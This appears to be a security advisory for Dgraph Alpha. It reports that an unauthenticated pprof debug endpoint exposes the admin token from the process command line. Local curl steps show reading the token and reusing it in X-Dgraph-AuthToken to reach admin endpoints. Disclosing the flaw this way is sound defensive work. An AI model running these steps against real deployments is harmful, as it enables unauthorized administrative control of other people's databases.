An unauthenticated debug endpoint in Dgraph Alpha exposes the full process command line, including the configured admin token from --security "token=...".
This does not break token validation logic directly; instead, it discloses the credential and enables unauthorized admin-level access by reusing the leaked token in X-Dgraph-AuthToken.
The behavior occurs entirely within core Alpha HTTP routing and does not require any external proxy, plugin, or non-core integration.
The core issue is not that admin token protection is absent, but that the protected secret is exposed in cleartext through an unauthenticated core debug endpoint.
Relevant code paths:
dgraph/cmd/alpha/run.go:17 imports net/http/pprof, which registers /debug/pprof/* handlers on the default mux.dgraph/cmd/alpha/run.go:533 uses http.Handle("/", audit.AuditRequestHttp(baseMux)), so default-mux handlers remain reachable.dgraph/cmd/alpha/admin.go:52 enforces admin token checks in adminAuthHandler for admin endpoints.dgraph/cmd/alpha/admin.go:74 shows /admin/config/cache_mb behind adminAuthHandler.Credential-exposure chain:
/debug/pprof/cmdline is reachable without authentication.adminAuthHandler when sent as X-Dgraph-AuthToken.Observed local evidence (safe validation):
GET /admin/config/cache_mb without token
Invalid X-Dgraph-AuthTokenGET /debug/pprof/cmdline without token
--security=token=TopSecretToken123;GET /admin/config/cache_mb with X-Dgraph-AuthToken: TopSecretToken123
4096Important policy/triage clarification:
mainb15c87e93v25.3.1Preconditions:
--security "token=..."./debug/pprof/* is exposed on the same Alpha HTTP listener.Reproduction steps:
Start Zero and Alpha (example local setup):
dgraph zero --my=127.0.0.1:5280 --port_offset=200 --bindall=false --wal=./zwdgraph alpha --my=127.0.0.1:7280 --zero=127.0.0.1:5280 --port_offset=200 --bindall=false --security "token=TopSecretToken123;" --postings=./p --wal=./w --tmp=./tVerify admin endpoint rejects unauthenticated request:
curl -i http://127.0.0.1:8280/admin/config/cache_mbInvalid X-Dgraph-AuthToken.Read token from unauthenticated debug endpoint:
curl -s http://127.0.0.1:8280/debug/pprof/cmdline--security=token=TopSecretToken123;.Reuse leaked token against admin endpoint:
curl -i -H "X-Dgraph-AuthToken: TopSecretToken123" http://127.0.0.1:8280/admin/config/cache_mb4096).Note: The PoC uses 127.0.0.1 only for safe local validation. The vulnerable condition is unauthenticated reachability of /debug/pprof/cmdline; in any deployment where Alpha HTTP is reachable by untrusted parties, the same token disclosure and subsequent unauthorized admin access apply.
The attack requires network reachability to the Alpha HTTP port. In deployments where this interface is exposed beyond trusted boundaries, the issue is remotely exploitable without authentication.
Depending on exposed admin functionality in deployment policy, this may allow configuration changes, operational control actions, and other privileged administrative operations exposed through /admin/*.
{
"cwe_ids": [
"CWE-200",
"CWE-215",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:08:07Z",
"nvd_published_at": "2026-04-15T21:17:27Z",
"severity": "CRITICAL"
}